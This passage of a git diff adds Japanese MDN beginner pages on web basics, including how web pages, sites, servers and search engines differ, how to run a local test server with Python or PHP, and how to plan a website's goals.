が利用する仕組みで、ウェブ上にあるあらゆるリソースを手に入れるために使われます。</dd> + <dt> + <h3 id="What_is_a_domain_name" name="What_is_a_domain_name"><a href="/ja/docs/Learn/Common_questions/What_is_a_domain_name">ドメイン名って何？</a></h3> + </dt> + <dd>ドメイン名は、インターネットのインフラにとって大切なパーツの一つです。インターネット上のウェブサーバーのために、人が読みやすいアドレスを使えるようにしてくれます。</dd> + <dt> + <h3 id="What_is_a_Web_server" name="What_is_a_Web_server"><a href="/ja/docs/Learn/Common_questions/What_is_a_web_server">ウェブサーバーって何?</a></h3> + </dt> + <dd>「ウェブサーバー」という言葉は、ウェブ上でクライアントにウェブサイトを送信するハードウェアまたはソフトウェアを指します。ときにはその両方を指します。この記事では、ウェブサーバーがどのように動いていて、どうして大切なのかを説明しています。</dd> +</dl> + +<h2 id="Tools_and_setup" name="Tools_and_setup">ツールとセットアップ</h2> + +<p>ウェブサイトを作るためのツールやソフトウェアに関係する質問です。</p> + +<dl> + <dt> + <h3 id="How_much_does_it_cost_to_do_something_on_the_Web" name="How_much_does_it_cost_to_do_something_on_the_Web"><a href="/ja/docs/Learn/Common_questions/What_software_do_I_need">ウェブサイトを作るにはどんなソフトウェアが必要？</a></h3> + </dt> + <dd>この記事では、ウェブサイトの編集、アップロード、閲覧に、それぞれどのようなソフトウェアコンポーネントが必要になるか説明します。</dd> + <dt> + <h3 id="What_software_do_I_need_to_build_a_website" name="What_software_do_I_need_to_build_a_website"><a href="/ja/docs/Learn/Common_questions/How_much_does_it_cost">ウェブ上で何かをするのにどれくらいお金がかかるの？</a></h3> + </dt> + <dd>ウェブサイトを立ち上げる場合、いっさいお金をかけずにすむこともあれば、高額な費用がかかることもあります。この記事では、ウェブ開発で使用するツールやサービスにどれくらい費用がかかるか、お金をかけた場合、かけなかった場合に、それぞれどのようなことができるか、を説明します。</dd> + <dt> + <h3 id="What_text_editors_are_available" name="What_text_editors_are_available"><a href="/ja/docs/Learn/Common_questions/Available_text_editors">どんなテキストエディタが必要？</a></h3> + </dt> + <dd>この記事では、ウェブ開発で使用するテキストエディタを選択、インストールするときに、考慮すべき点について取り上げます。</dd> + <dt> + <h3 id="What_are_browser_developer_tools" name="What_are_browser_developer_tools"><a href="/ja/docs/Learn/Common_questions/What_are_browser_developer_tools">ブラウザーの開発者ツールとは何？</a></h3> + </dt> + <dd>すべてのブラウザーには、HTML、CSS、その他のウェブ用コードをデバッグするための開発者ツールが用意されています。この記事では、お使いのブラウザーの開発者ツールの基本機能の使い方について説明します。</dd> + <dt> + <h3 id="How_do_you_make_sure_your_website_works_properly" name="How_do_you_make_sure_your_website_works_properly"><a href="/ja/docs/Learn/Common_questions/Checking_that_your_web_site_is_working_properly">ウェブサイトが意図したとおりに動作しないとき、どうすればいい？</a></h3> + </dt> + <dd>あなたが開発してオンラインに公開したウェブサイト、本当に意図したとおりに動作していますか？ この記事では、基本的なトラブルシューティングの手順について説明します。</dd> + <dt> + <h3 id="How_do_you_set_up_a_local_testing_server" name="How_do_you_set_up_a_local_testing_server"><a href="/ja/docs/Learn/Common_questions/set_up_a_local_testing_server">ローカル環境にテスト用サーバーを用意するには、どうすればいい？</a></h3> + </dt> + <dd>この記事では、使用中のマシンにローカルテスト用のサーバーを準備し、使用する方法について説明します。</dd> + <dt> + <h3 id="How_do_you_upload_files_to_a_Web_server" name="How_do_you_upload_files_to_a_Web_server"><a href="/ja/docs/Learn/Common_questions/Upload_files_to_a_web_server">ウェブサーバーにファイルをアップロードするにはどうすればいい？</a></h3> + </dt> +</dl> + +<dl> + <dd>ウェブサイトをオンラインで公開して、別のコンピューターからアクセスできるようにするには、FTP ツールがよく使用されます。この記事では、FTP ツールを使ってウェブサイトを公開する方法を説明します。</dd> + <dt> + <h3 id="How_do_I_use_GitHub_Pages" name="How_do_I_use_GitHub_Pages"><a href="/ja/docs/Learn/Common_questions/Using_GitHub_Pages">GitHub ページを使うにはどうすればいい？</a></h3> + </dt> + <dd>この記事では、GitHub の GitHub ページ (gh-pages) 機能を使ってコンテンツを公開する方法を説明します。</dd> + <dt> + <h3 id="How_do_you_host_your_website_on_Google_App_Engine" name="How_do_you_host_your_website_on_Google_App_Engine"><a href="/ja/docs/Learn/Common_questions/How_do_you_host_your_website_on_Google_App_Engine">Google App Engine を使ってウェブサイトを公開するにはどうすればいい？</a></h3> + </dt> + <dd>作成したウェブサイトを配置する場所をお探しですか？ この記事では、Google App Engine を使ってウェブサイトを公開する (ホスティングする) 手順を説明します。</dd> + <dt> + <h3 id="What_tools_are_available_to_debug_and_improve_website_performance" name="What_tools_are_available_to_debug_and_improve_website_performance"><a href="/ja/docs/Tools/Performance">ウェブサイトのデバッグ／パフォーマンス向上に役立つツールにはどのようなものがある？</a></h3> + </dt> + <dd>リンク先では、FireFox の開発者ツールを使って、ウェブサイトのデバッグ、パフォーマンス向上を行うための記事が一覧にまとめられています。これらの記事では、メモリーの使用状況、JavaScript の呼び出しツリー、レンダリングされた DOM ノードの数、その他について確認する方法などが紹介されています。</dd> +</dl> + +<h2 id="Design_and_accessibility" name="Design_and_accessibility">デザインとアクセシビリティ</h2> + +<p>このセクションでは、ページのデザイン、ページ構成、アクセシビリティについての質問などを取り上げています。</p> + +<h3 id="How_do_I_start_to_design_my_website" name="How_do_I_start_to_design_my_website"><a href="/ja/docs/Learn/Common_questions/Thinking_before_coding">ウェブサイトの設計では何から始めればいい？</a></h3> + +<dl> + <dd>この記事では、すべてのプロジェクトにおいてきわめて重要な第一歩、「そのプロジェクトで何を実現したいのか」を定義する方法を説明します。</dd> + <dt> + <h3 id="What_do_common_Web_layouts_contain" name="What_do_common_Web_layouts_contain"><a href="/ja/docs/Learn/Common_questions/Common_web_layouts">よくあるウェブページのレイアウトには何が含まれてる？</a></h3> + </dt> + <dd>ウェブサイトを設計するとき、まずは一般的なレイアウトについて知っておくとよいでしょう。この記事では、よくあるウェブレイアウトについていくつか取り上げ、どのような要素で構成されているかを見ていきます。</dd> + <dt> + <h3 id="What_is_accessibility" name="What_is_accessibility"><a href="/ja/docs/Learn/Common_questions/What_is_accessibility">アクセシビリティって何？</a></h3> + </dt> + <dd>この記事では、ウェブアクセシビリティの基本的な概念について紹介します。</dd> + <dt> + <h3 id="How_can_we_design_for_all_types_of_users" name="How_can_we_design_for_all_types_of_users"><a href="/ja/docs/Learn/Common_questions/Design_for_all_types_of_users">どんなユーザーでも使えるようにデザインするにはどうすればいい？</a></h3> + </dt> + <dd>この記事では、どのようなユーザーでも利用できるウェブサイトを作成するための基本的なテクニックを説明します。これには、手軽にアクセシビリティを実現する方法や、その他の情報などが含まれます。</dd> + <dt> + <h3 id="What_HTML_features_promote_accessibility" name="What_HTML_features_promote_accessibility"><a href="/ja/docs/Learn/Common_questions/HTML_features_for_accessibility">アクセシビリティをよくする HTML の機能にはどんなものがある？</a></h3> + </dt> + <dd>この記事では、さまざまな障害をもつユーザーがよりウェブサイトを利用しやすいよう使用される、各種の HTML の機能について説明します。</dd> +</dl> + +<h2 id="HTML_CSS_and_JavaScript_questions" name="HTML_CSS_and_JavaScript_questions">HTML、CSS、JavaScript の質問</h2> + +<p>HTML/CSS のよくある問題の解決方法については、次の記事を読んでみてください。</p> + +<ul> + <li><a href="/ja/docs/Learn/HTML/Howto">よくある問題の解決に HTML を使う</a></li> + <li><a href="/ja/docs/Learn/CSS/Howto">よくある問題の解決に CSS を使う</a></li> + <li> + <p><a href="/ja/docs/Learn/JavaScript/Howto">よくある問題の解決に JavaScript を使う</a></p> + </li> +</ul> diff --git a/files/ja/learn/common_questions/pages_sites_servers_and_search_engines/index.html b/files/ja/learn/common_questions/pages_sites_servers_and_search_engines/index.html new file mode 100644 index 0000000000..34646a106f --- /dev/null +++ b/files/ja/learn/common_questions/pages_sites_servers_and_search_engines/index.html @@ -0,0 +1,120 @@ +--- +title: ウェブページ、ウェブサイト、ウェブサーバー、検索エンジンの違いは？ +slug: Learn/Common_questions/Pages_sites_servers_and_search_engines +tags: + - NeedsActiveLearning + - WebMechanics + - 初心者 +translation_of: Learn/Common_questions/Pages_sites_servers_and_search_engines +--- +<div class="summary"> +<p><span class="seoSummary">この記事では、ウェブページ、ウェブサイト、ウェブサーバー、検索エンジンなどのウェブに関係する色々な概念に関して解説します。これらの用語はウェブの初心者を混乱させたり、間違って使われたりしています。それぞれの意味を学びましょう。</span></p> +</div> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td><a href="/ja/docs/Learn/Common_questions/How_does_the_Internet_work">インターネットはどのように動くのか</a>を知っておく必要があります。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>ウェブページ、ウェブサイト、ウェブサーバー、検索エンジンの違いを説明できるようになること。</td> + </tr> + </tbody> +</table> + +<h2 id="Summary" name="Summary">要約</h2> + +<p>あらゆる分野の知識と同様に、ウェブにも多くの専門用語があります。すべてを一気に押し付けるつもりはありませんのでご心配なく (興味をお持ちなら<a href="/ja/docs/Glossary">用語集</a>があります)。しかし、最初に理解しておく必要がある基本的な用語がいくつかあり、これは読む際に常に聞く表現です。これらは互いに関連するものの、異なる役割を持つため、混同しやすいものです。実際、ニュースやその他の場所でこれらの用語が誤って使用されているのを時々見かけるので、これらをまとめて理解しましょう。</p> + +<p>これらの用語と技術の詳細に関して詳しく説明しますが、これらを簡単に定義することが良いスタートるになるでしょう。</p> + +<dl> + <dt>ウェブページ</dt> + <dd>Firefox や Google Chrome、Opera、Microsoft Internet Explorer、Edge、Apple の Safari などのウェブブラウザーで表示可能な文書です。これらはよく単に「ページ」とも呼ばれることもあります。</dd> + <dt>ウェブサイト</dt> + <dd>グループ化され、通常はさまざまな方法で一緒に接続されたウェブページの集まりです。よく「ウェブサイト」または単に「サイト」と呼ばれます。</dd> + <dt>ウェブサーバー</dt> + <dd>インターネット上でウェブサイトをホスティングするコンピューターです。</dd> + <dt>検索エンジン</dt> + <dd>他のウェブページを見つけるのに役立つウェブサービスで、 Google、Bing、Yahoo、DuckDuckGo などがあります。検索エンジンは通常、ウェブブラウザーから (例えば、Firefox、Chrome などのアドレスバーで直接検索エンジンによる検索を実行することができる)、またはウェブページ (例えば <a href="https://www.bing.com/">bing.com</a> や <a href="https://duckduckgo.com/">duckduckgo.com</a>) を介してアクセスされます。</dd> +</dl> + +<p>公共図書館に簡単に例えてみましょう。図書館に行ったときに一般的に行うことは次の通りです。</p> + +<ol> + <li>検索インデックスを探して、読みたい書籍のタイトルを探します。</li> + <li>その書籍のカタログ番号をメモします。</li> + <li>書籍が収蔵されている特定の書架へ行き、カタログ番号を見つけて、本を入手します。</li> +</ol> + +<p>ウェブサーバーと図書館を比較してみましょう。</p> + +<ul> + <li>図書館はウェブサーバーのようなものです。いくつかの書架があり、複数のウェブサイトをホスティングしているウェブサーバーに似ています。</li> + <li>図書館の様々な書架 (科学、数学、歴史など) はウェブサイトのようなものです。それぞれの書架は個々のウェブサイトのようなものです (同じ本が複数の書架にあることはありません)。</li> + <li>それぞれの書架にある書籍はウェブページのようなものです。1 つのウェブサイトに複数のウェブページがあることがあります。たとえば、科学の書架 (ウェブサイト) には、熱、音、熱力学、静力学などに関する書籍があります (ウェブページ)。ウェブページはそれぞれ固有の場所 (URL) で見つかります。</li> + <li>検索インデックスは検索エンジンのようなものです。それぞれの書籍は図書館内にカタログ番号で特定できる独自の場所にあります (同じ場所に2冊の本を保管することはできません)。</li> +</ul> + +<h2 id="Active_learning" name="Active_learning">アクティブラーニング</h2> + +<p><em>利用可能なアクティブラーニングはまだありません。<a href="/ja/docs/MDN/Getting_started">ぜひ協力をご検討ください</a>。</em></p> + +<h2 id="Deeper_dive" name="Deeper_dive">より深い追求</h2> + +<p>それでは、それらの 4 つの用語がどのように関連しているのか、なぜそれらが互いに混同されているのかについて詳しく調べてみましょう。</p> + +<h3 id="web_page" name="web_page">ウェブページ</h3> + +<p><strong>ウェブページ</strong>は{{Glossary("browser","ブラウザー")}}で表示することができる簡単な文書です。文書は {{Glossary("HTML")}} 言語で書かれています (<a href="/ja/docs/Web/HTML">他の記事</a>で詳しく説明しています)。ウェブページには、次のような様々な種類のリソースを埋め込むことができます。</p> + +<ul> + <li><em>スタイル情報</em> — ページの見た目の制御</li> + <li><em>スクリプト</em> — ページへのインタラクティブ機能を追加</li> + <li><em>メディア</em> — 画像、音楽、動画など</li> +</ul> + +<div class="note"> +<p><strong>メモ: </strong>ブラウザーは {{Glossary("PDF")}} ファイルや画像などのような他の文書も表示することができますが、<strong>ウェブページ</strong>という用語は、特に HTML 文書を指します。それ以外の場合、単に<strong>文書 (またはドキュメント)</strong> という用語を使用します。</p> +</div> + +<p>ウェブ上で利用可能なすべてのウェブページには、固有のアドレスを使用して到達することができます。ページにアクセスするには、そのアドレスをブラウザーのアドレスバーに入力するだけです。</p> + +<p style="text-align: center;"><img alt="ブラウザーのアドレスバーにあるウェブページのアドレスの例" src="https://mdn.mozillademos.org/files/8529/web-page.jpg" style="height: 239px; width: 650px;"></p> + +<h3 id="Web_site" name="Web_site">ウェブサイト</h3> + +<p><em>ウェブサイト</em>はリンクされたウェブページ (および関連するリソース) の集合で、固有のドメイン名を共有しています。指定されたウェブサイトの各ウェブページは明示的なリンク — 多くの場合はクリック可能なテキストの部分の形 — を提供しており、ユーザーがウェブサイトのあるページから他のページに移動することができます。</p> + +<p>ウェブサイトにアクセスするために、ブラウザーのアドレスバーにドメイン名を入力すると、ブラウザーはウェブサイトのメインウェブページ、または<em>ホームページ</em> (略して「ホーム」と呼ばれる) を表示します。</p> + +<p><img alt="ブラウザーのアドレスバーにあるウェブサイトのドメイン名の例" src="https://mdn.mozillademos.org/files/8531/web-site.jpg" style="display: block; height: 365px; margin: 0px auto; width: 650px;"></p> + +<p><em>ウェブページ</em>と<em>ウェブサイト</em>は、特に1枚だけの<em>ウェブページ</em>を含む<em>ウェブサイト</em>である場合に混同しやすくなります。このようなウェブサイトは<em>単一ページのウェブサイト</em>と呼ばれることがあります。</p> + +<h3 id="Web_server" name="Web_server">ウェブサーバー</h3> + +<p><em>ウェブサーバー</em>は、1つ以上の<em>ウェブサイト</em>をホスティングするコンピューターです。「ホスティング」はすべての<em>ウェブページ</em>や補助的なファイルをコンピューター上で利用できるようにするという意味です。<em>ウェブサーバー</em>は、任意のユーザーのリクエストに応じて、ホスティング中の<em>ウェブサイト</em>から任意の<em>ウェブページ</em>をユーザーのブラウザーに送信します。</p> + +<p><em>ウェブサイト</em>と<em>ウェブサーバー</em>を混同しないようにしてください。例えば、誰かが「私のウェブサイトから応答がありません」と言うのを聞いた場合、実際には<em>ウェブサーバー</em>が応答していないのであり、その結果として<em>ウェブサイト</em>が利用できないのです。もっと重要なことは、ウェブサーバーは複数のウェブサイトをホスティングすることができるため、<em>ウェブサーバー</em>という言葉はウェブサイトを特定するために使用することはできず、大きな混乱を招く可能性があります。先に挙げた例で、「私のウェブサイトから応答がありません」と言った場合、そのウェブサーバー上のウェブサイトがすべて利用できないことになります。</p> + +<h3 id="Search_engine" name="Search_engine">検索エンジン</h3> + +<p>検索エンジンはよくウェブに関する誤解のもとになります。検索エンジンは特殊な種類のウェブサイトで、ユーザーが<em>他の</em>ウェブサイトを見つけるのを助けるものです。</p> + +<p><a href="https://www.google.com/">Google</a>, <a href="https://www.bing.com/">Bing</a>, <a href="https://www.yandex.com/">Yandex</a>, <a href="https://duckduckgo.com/">DuckDuckGo</a> など、たくさんあります。一般的なものもあれば、特定のトピックについて専門化されたものもあります。好きなものを使いましょう。</p> + +<p>多くのウェブの初心者は、検索エンジンとブラウザーを混同しています。明確にしましょう。<em><strong>ブラウザー</strong></em>はソフトウェアの一つで、ウェブページを受け取り表示するものです。<strong><em>検索エンジン</em></strong>はウェブサイトであり、人々が他のウェブサイトからウェブページを探すのを手助けします。この混乱は、ブラウザーを起動したとき、ブラウザーが検索エンジンのホームページを表示しているために発生します。これは、ブラウザーで最初にやりたいことが表示させるウェブページであることが明らかであるため、よく分かります。インフラ (ブラウザーなど) とサービス (検索エンジンなど) を混同しないでください。この区別はかなり役立ちますが、専門家によっては曖昧に話すこともあるので、心配しないでください。</p> + +<p>こちらは、 Firefox のインスタンスが既定のスタートアップページとして Google 検索ボックスを表示している様子です。</p> + +<p><img alt="Example of Firefox nightly displaying a custom Google page as default" src="https://mdn.mozillademos.org/files/8533/search-engine.jpg" style="display: block; height: 399px; margin: 0px auto; width: 650px;"></p> + +<h2 id="Next_steps" name="Next_steps">次の段階</h2> + +<ul> + <li>より深く掘り下げる: <a href="/docs/Learn/What_is_a_web_server">ウェブサーバーって何？</a></li> + <li>ウェブページがどのようにウェブサイトにリンクされているかを見る: <a href="/ja/docs/Learn/Common_questions/What_are_hyperlinks">ウェブのリンクを理解する</a></li> +</ul> diff --git a/files/ja/learn/common_questions/set_up_a_local_testing_server/index.html b/files/ja/learn/common_questions/set_up_a_local_testing_server/index.html new file mode 100644 index 0000000000..fc0c346dfd --- /dev/null +++ b/files/ja/learn/common_questions/set_up_a_local_testing_server/index.html @@ -0,0 +1,110 @@ +--- +title: ローカルのテストサーバーはどのようにセットアップしますか？ +slug: Learn/Common_questions/set_up_a_local_testing_server +tags: + - Express + - Flask + - Node + - PHP + - Python + - django + - lamp + - サーバ + - サーバーサイド + - 初心者 + - 学習 +translation_of: Learn/Common_questions/set_up_a_local_testing_server +--- +<div class="summary"> +<p>この記事では、マシン上に簡単なローカルテストサーバを設定する方法と、その使い方の基本について説明します。</p> +</div> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>最初に<a href="/ja/docs/Learn/Common_questions/How_does_the_Internet_work">インターネットの仕組み</a>や <a href="/ja/docs/Learn/Common_questions/What_is_a_web_server">Web サーバについて</a>知っておく必要があります。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>ローカルのテストサーバを設定する方法を学習します。</td> + </tr> + </tbody> +</table> + +<h2 id="ローカルファイルとリモートファイル">ローカルファイルとリモートファイル</h2> + +<p>ほとんどの学習領域では、ブラウザでサンプルを直接開くだけで済みます。HTML ファイルをダブルクリックするか、ブラウザウィンドウにドラッグ ＆ ドロップするか、ファイル > 開く...を選択して HTML ファイルを選択するなどです。これを達成する方法はたくさんあります。</p> + +<p>Web アドレスのパスが <code>file://</code> で始まり、その後にローカルハードドライブのファイルへのパスが続く場合、ローカルファイルが使用されています。対照的に、GitHub でホストされている例 (または他のリモートサーバの例) を見ると、Web アドレスは <code>http://</code> または <code>https://</code> で始まっており、ファイルが HTTP 経由で受信されたことを示します。</p> + +<h2 id="ローカルファイルのテストに関する問題">ローカルファイルのテストに関する問題</h2> + +<p>一部のサンプルはローカルファイルとして開くと実行されません。これにはさまざまな理由があります。最も可能性が高いのは、</p> + +<ul> + <li><strong>それらは非同期リクエストを特徴とします。</strong>一部のブラウザ (Chrome を含む) は、ローカルファイルからサンプルを実行するだけでは非同期リクエストは実行しません (<a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data">サーバからのデータの取得</a>を参照)。これはセキュリティ上の制限があるためです (Web セキュリティの詳細については、<a href="/ja/docs/Learn/Server-side/First_steps/Website_security">Web サイトのセキュリティ</a>を参照してください)</li> + <li><strong>それらはサーバサイドの言語を備えています。</strong>サーバサイドの言語 (PHP や Python など) では、コードを解釈して結果を提供する特別なサーバが必要です</li> +</ul> + +<h2 id="シンプルなローカル_HTTP_サーバの実行">シンプルなローカル HTTP サーバの実行</h2> + +<p>非同期リクエストの問題を回避するには、ローカル Web サーバを介して実行することによって、そのようなサンプルをテストする必要があります。私たちの目的のためにこれを行う最も簡単な方法の1つは、Python の <code>SimpleHTTPServer</code> モジュールを使うことです。</p> + +<p>これをするためには：</p> + +<ol> + <li> + <p>Python をインストールします。Linux または Mac OS X を使用している場合は、既にシステム上で使用可能になっているはずです。Windows ユーザの方は、Python ホームページからインストーラを入手し、インストーラの指示に従ってインストールすることができます：</p> + + <ul> + <li><a href="https://www.python.org/">python.org</a> に進みます</li> + <li>ダウンロードセクションの下で、Python "3.xxx" のリンクをクリックします</li> + <li>ページ下部の Windows x86 実行可能インストーラを選択してダウンロードします</li> + <li>ダウンロードしたら、それを実行します</li> + <li>インストーラの最初のページで、"Add Python 3.xxx to PATH" チェックボックスをオンにします</li> + <li>[インストール]をクリックし、インストールが完了したら[閉じる]をクリックします</li> + </ul> + </li> + <li> + <p>コマンドプロンプト (Windows)/ターミナル (OS X/Linux) を開きます。Python がインストールされていることを確認するには、次のコマンドを入力します</p> + + <pre class="brush: bash">python -V</pre> + </li> + <li> + <p>これによりバージョン番号が返されます。OK の場合は、<code>cd</code> コマンドを使用してサンプルが入っているディレクトリに移動します</p> + + <pre class="brush: bash"># include the directory name to enter it, for example +cd Desktop +# use two dots to jump up one directory level if you need to +cd ..</pre> + </li> + <li> + <p>ディレクトリの中でサーバを起動するコマンドを入力します</p> + + <pre class="brush: bash"># If Python version returned above is 3.X +python -m http.server +# If Python version returned above is 2.X +python -m <code>SimpleHTTPServer</code></pre> + </li> + <li> + <p>デフォルトでは、これはローカル Web サーバ上のディレクトリの内容を 8000 番ポート上で実行します。このサーバにアクセスするには、Web ブラウザで <code>localhost:8000</code> のURL に移動します。ここにディレクトリの内容が表示されるので、実行する HTML ファイルをクリックします</p> + </li> +</ol> + +<div class="note"> +<p><strong>メモ</strong>: すでに 8000 番ポートで何かが稼働している場合は、server コマンドを実行して別のポート番号を選択することができます。例えば <code>python3 -m http.server 7800</code> (Python 3.x) または <code>python -m SimpleHTTPServer 7800</code> (Python 2.x) です。これで <code>localhost:7800</code> でコンテンツにアクセスできます。</p> +</div> + +<h2 id="サーバサイドの言語をローカルで実行する">サーバサイドの言語をローカルで実行する</h2> + +<p>Python の SimpleHTTPServer (python 2.0) http.server (python 3.0) モジュールは便利ですが、Python、PHP、JavaScript などの言語で書かれたコードの実行方法はわかりません。これを処理するには、必要なことがあります。必要なのは、実行しようとしているサーバサイドの言語に依存します。いくつかの例があります：</p> + +<ul> + <li>Python のサーバサイドコードを実行するには、Python Web フレームワークを使用する必要があります。Django フレームワークの使い方については、<a href="/ja/docs/Learn/Server-side/Django">Django Web Framework (Python)</a> を参照してください。<a href="http://flask.pocoo.org/">Flask</a> はまた、Django の代わりとしても良い (わずかに重量の少ない) 代替品です。これを実行するには <a href="/ja/docs/Learn/Server-side/Django/development_environment#Installing_Python_3">Python/PIP をインストール</a>し、 <code>pip3 install flask</code> を使用して Flask をインストールする必要があります。この段階で、<code>python3 python-example.py</code> を使ってPython Flaskのサンプルを実行し、ブラウザの <code>localhost:5000</code> に遷移することができます</li> + <li>Node.js (JavaScript) サーバサイドコードを実行するには、生のノードまたはその上に構築されたフレームワークを使用する必要があります。Express は良い選択です - <a href="/ja/docs/Learn/Server-side/Express_Nodejs">Express Web Framework (Node.js/JavaScript)</a> を参照してください</li> + <li>PHP サーバサイドコードを実行するには、<a href="http://php.net/manual/ja/features.commandline.webserver.php">PHP の組み込み開発サーバ</a>を起動します</li> +</ul> + +<pre class="shellcode">$ cd path/to/your/php/code +$ php -S localhost:8000</pre> diff --git a/files/ja/learn/common_questions/thinking_before_coding/index.html b/files/ja/learn/common_questions/thinking_before_coding/index.html new file mode 100644 index 0000000000..ec555fe4c4 --- /dev/null +++ b/files/ja/learn/common_questions/thinking_before_coding/index.html @@ -0,0 +1,177 @@ +--- +title: どのように Web サイトのデザインを始めるのか? +slug: Learn/Common_questions/Thinking_before_coding +tags: + - Beginner + - Composing + - NeedsActiveLearning + - needsSchema + - 初心者 +translation_of: Learn/Common_questions/Thinking_before_coding +--- +<p class="summary">この記事では、すべてのプロジェクトの重要な第一歩として、そのプロジェクトで達成したいことを定義します。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件</th> + <td>なし</td> + </tr> + <tr> + <th scope="row">目的</th> + <td>目標を定義してウェブプロジェクトの方向性を明らかにする方法を学びます。</td> + </tr> + </tbody> +</table> + +<h2 id="概要">概要</h2> + +<p><span class="seoSummary">ウェブプロジェクトを開始するとき、多くの人が技術面に焦点を当てます。もちろん、作るものの技術に精通していなければなりませんが、本当に重要なことは何を達成したいかということです。そう、それは明らかなことのようですが、あまりにも多くのプロジェクトが技術的ノウハウがないためではなく、目標とビジョンがないために失敗します。</span></p> + +<p>あなたがアイデアを得てそれをウェブサイトにしたいときには、何かをする前に答えるべきいくつかの質問があります：</p> + +<ul> + <li>本当にしたいことは何ですか？</li> + <li>ウェブサイトは目標達成にどのように役立つでしょうか？</li> + <li>目標を達成するために何をどのような順序で実行する必要がありますか？</li> +</ul> + +<p>これらはすべてプロジェクトのアイデア化と呼ばれ、初心者であれ、経験豊富な開発者であれ、目標を達成するための最初のステップです。</p> + +<h2 id="アクティブラーニング">アクティブラーニング</h2> + +<p><em>アクティブラーニングはまだありません。<a href="https://developer.mozilla.org/ja/docs/MDN/Getting_started">Please, consider contributing</a>.</em></p> + +<h2 id="より深いダイビング">より深いダイビング</h2> + +<p>プロジェクトは技術的側面から始まることはありません。ミュージシャンは、最初にプレイしたいことのアイデアがない限り、決して音楽を作ってはいけません。これは画家、作家、ウェブ開発者にとっても同じことです。テクニックは 2番目に来ます。</p> + +<p>技術は明らかに重要です。ミュージシャンは楽器をマスターする必要があります。しかし、良いミュージシャンは、アイデアなしに良い音楽を生み出すことはできません。したがって、コードやツールなどの技術的な側面に飛び込む前に最初のステップに戻り、実行したいことを詳細に決定する必要があります。</p> + +<p>はじめに友人と 1時間ディスカッションするのは良いことですが、不十分です。<span class="tlid-translation translation"><span title="">自分のアイデアを具現化するためにどのような道をたどらなければならないかを明確に把握するためには、座ってアイデアを体系化する必要があります。これを行うには、紙とペンと、少なくとも次の質問に答えるための時間が必要です。</span></span></p> + +<div class="note"> +<p><strong>メモ:</strong> プロジェクトのアイデア化を実行するための方法は無数にあります。ここにそれらすべてを提示することはできません (一冊の本では不十分です)。ここでは、プロフェッショナルが<a href="http://en.wikipedia.org/wiki/Ideation_(idea_generation)">プロジェクトの理念</a>、<a href="http://en.wikipedia.org/wiki/Project_planning">プロジェクト計画</a>、および<a href="http://en.wikipedia.org/wiki/Project_management">プロジェクト管理</a>と呼ぶものを処理する簡単な方法を紹介します。</p> +</div> + +<h3 id="本当にしたいことは何ですか？">本当にしたいことは何ですか？</h3> + +<p>他のすべてを動かすので、これは答えるべき最も重要な問いです。到達したいすべての目標を列挙してください。お金を稼ぐための商品の販売、政治的意見の表明、新しい友達の会合、ミュージシャンとのギグ、猫の写真の収集など、それは何でもかまいません。</p> + +<p>あなたがミュージシャンだとしましょう。あなたは次のことができます：</p> + +<ul> + <li>人々にあなたの音楽を聞いてもらう</li> + <li>グッズを売る</li> + <li>他のミュージシャンに会う</li> + <li>あなたの音楽について話す</li> + <li>ビデオを通して音楽を教える</li> + <li>あなたの猫の写真を公開する</li> + <li>新しいガールフレンド/ボーイフレンドを探す</li> +</ul> + +<p>そのようなリストを取得したら優先順位を付ける必要があります。目標を最も重要なものからそうでないものに順番に並べます。</p> + +<ol> + <li>新しいガールフレンド/ボーイフレンドを探す</li> + <li>人々にあなたの音楽を聞いてもらう</li> + <li>あなたの音楽について話す</li> + <li>他のミュージシャンに会う</li> + <li>グッズを売る</li> + <li>ビデオを通して音楽を教える</li> + <li>あなたの猫の写真を公開する</li> +</ol> + +<p>このシンプルなエクササイズ−−目標を作成し、並び替えること−−は意思決定をするうえでの助けになります。(これらの機能を実装し、これらのサービスを使用して、これらのデザインを作成しますか？)</p> + +<p>これで、優先順位付けされた目標リストが作成されたので、次の質問に移りましょう。</p> + +<h3 id="ウェブサイトを使ってどのように目標を達成する？">ウェブサイトを使ってどのように目標を達成する？</h3> + +<p>あなたは目標のリストを持っており、それらの目標を達成するためにウェブサイトが必要だと感じます。本気ですか？</p> + +<p>例を振り返りましょう。音楽に関連する 5 つの目標があります。私生活に関連した1つの目標 (あなたの重要な他者を見つけること)、そして全く無関係の猫の写真です。これらすべての目標をカバーするために単一のウェブサイトを構築することは合理的ですか？それも必要ですか？結局のところ、既存のウェブサービスのスコアは、新しいウェブサイトを構築せずにあなたを目標に導くかもしれません。</p> + +<p>ガール/ボーイフレンドを見つけることは、まったく新しいサイトを構築するのではなく、既存のリソースを使用することが理にかなっている主要なケースです。どうして？なぜなら、実際にガール/ボーイフレンドを探すよりも、ウェブサイトの構築と保守に多くの時間を費やすからです。私たちの目標は最も重要なものなので、ゼロから始めるのではなく、既存のツールを活用することに力を注ぐべきです。繰り返しになりますが、写真を紹介するためにすでにたくさんのウェブサ ービスが用意されているので、新しいサイトを構築するだけの価値はありません。</p> + +<p>他の 5 つの目標はすべて音楽に関連しています。もちろん、これらの目標に対応できるウェブサービスは数多くありますが、この場合は専用のウェブサイトを構築することが理にかなっています。このようなウェブサイトは、私たちが 1 つの場所 (目標 3,5、および 6 に適しています) に公開し、私たちと公共の間の交流を促進する (目標2 と 4 に良い) すべてのものを集約する最良の方法です。一言で言えば、これらの目標はすべて同じトピックを中心にしているため、すべてを 1 か所にまとめて目標を達成し、フォロワーが私たちとつながるのを助けます。</p> + +<p>ウェブサイトはどのように私の目標を達成するのに役立ちますか？それに答えることによって、あなたの目標に到達し、無駄な労力から自分自身を救う最良の方法を見つけることができます。</p> + +<h3 id="目標を達成するために何をどのような順序で実行する必要がありますか？">目標を達成するために何をどのような順序で実行する必要がありますか？</h3> + +<p>あなたが達成したいことが分かったら、今度はその目標を実行可能なステップに変えてください。副題として、あなたの目標は必ずしも石で設定されているわけではありません。プロジェクトの中でも、予期せぬ障害物が横切ったり、心が変わったりしても、時間の経過と共に進化します。</p> + +<p>長い説明をするのではなく、この表の例に戻ってみましょう。</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">目標</th> + <th 